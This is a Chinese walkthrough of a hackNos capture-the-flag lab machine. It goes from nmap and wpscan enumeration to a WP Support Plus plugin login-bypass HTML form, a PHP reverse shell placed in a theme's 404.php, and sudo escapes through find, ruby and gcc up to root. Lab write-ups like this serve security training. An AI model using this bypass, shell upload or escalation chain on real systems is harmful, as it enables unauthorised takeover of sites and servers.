kali:192.168.111.111
靶机:192.168.111.178
信息收集
端口扫描
nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.178
![](https://i-blog.csdnimg.cn/blog_migrate/aa141131a2482d7ea5c3f9491151895c.png)
访问80端口发现存在一个目录
![](https://i-blog.csdnimg.cn/blog_migrate/67842d88a330f42abde5d53dfb937bfa.png)
访问该目录发现是wordpress
![](https://i-blog.csdnimg.cn/blog_migrate/c82b050732e25dc7d98d5caa4988d54d.png)
wpscan扫描发现存在一个插件,和一个用户:wp-local
![](https://i-blog.csdnimg.cn/blog_migrate/73d5cb90642ce0b4b21a888570bfb3c6.png)
![](https://i-blog.csdnimg.cn/blog_migrate/46b6494606a2f61020ce8aa0813174ff.png)
访问该连接http://192.168.111.178/g@web/index.php/wp-json/wp/v2/users/?per_page=100&page=1,发现密码hackNos@9012!!
![](https://i-blog.csdnimg.cn/blog_migrate/f4cea16a7eb340b3085216efb2721e85.png)
该插件存在越权
![](https://i-blog.csdnimg.cn/blog_migrate/805e58f5afabab1edf129c3be0d39aac.png)
![](https://i-blog.csdnimg.cn/blog_migrate/8de46ba66681b133e38df5d5a0b68528.png)
漏洞利用
访问该地址http://192.168.111.178/g@web/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/wpsp_getCatName.php,添加以下html代码
<body>
<form action="http://192.168.111.178/g@web/wp-admin/admin-ajax.php" method="post">
Username: <input type="text" name="username" value="administrator">
<input type="hidden" name="email" value="sth">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" name="">
</form>
</body>
![](https://i-blog.csdnimg.cn/blog_migrate/6ddbfd31970eae49cc11960890c4cd36.png)
输入框填入发现的wp-local用户名,之后点按钮提交
![](https://i-blog.csdnimg.cn/blog_migrate/ffac0993076c6e3bc1911a087bc43163.png)
然后访问http://192.168.111.178/g@web/wp-admin进入后台
![](https://i-blog.csdnimg.cn/blog_migrate/00ac0ebb2ac7bafd403e526d1488926a.png)
修改网站源码,写入kali自带的php反弹shel脚本/usr/share/webshells/php/php-reverse-shell.php
![](https://i-blog.csdnimg.cn/blog_migrate/a0df1732f05de7f7926a71fa707f4b1f.png)
写入完成后访问http://192.168.111.178/g@web/wp-content/themes/twentyseventeen/404.php获得shell
![](https://i-blog.csdnimg.cn/blog_migrate/155962cdec893e3f87cc1e49adf09890.png)
提权
使用之前发现的密码hackNos@9012!!,切换到security用户,查看sudo -l
![](https://i-blog.csdnimg.cn/blog_migrate/b0234c17654fb0b73803bf59c6cacb1d.png)
提权方法https://gtfobins.github.io/gtfobins/find/#sudo
![](https://i-blog.csdnimg.cn/blog_migrate/24de46bcff0ee37c4787249a3163bfcb.png)
输入命令sudo -u hackNos-boat find . -exec /bin/sh \; -quit 切换到hackNos-boat用户
![](https://i-blog.csdnimg.cn/blog_migrate/de63664cf2dc0702a6fe78ecc25a2544.png)
hackNos-boat用户sudo -l
![](https://i-blog.csdnimg.cn/blog_migrate/98fa5b7efe8a7f18f714d5c4cf7a1c5a.png)
提权方法:https://gtfobins.github.io/gtfobins/ruby/#sudo
![](https://i-blog.csdnimg.cn/blog_migrate/155abec653468c0876ce17639a54cca3.png)
输入命令sudo -u hunter ruby -e 'exec "/bin/sh"' 切换到hunter用户
![](https://i-blog.csdnimg.cn/blog_migrate/8c93a47fe82f6185191badb24edf153c.png)
hunter用户sudo -l
![](https://i-blog.csdnimg.cn/blog_migrate/62e864d2aa431335f4641d4a1b90b5e6.png)
提权方法:https://gtfobins.github.io/gtfobins/gcc/#sudo
![](https://i-blog.csdnimg.cn/blog_migrate/0b53d5ea10b1fece2d3c5aeb04613d45.png)
输入命令:sudo -u root gcc -wrapper /bin/sh,-s . 切换到root用户
![](https://i-blog.csdnimg.cn/blog_migrate/28d92f750ef81da0da36f3ba44d3f6f2.png)
获得flag
![](https://i-blog.csdnimg.cn/blog_migrate/8677b165cc867aa40a5922c60f42956a.png)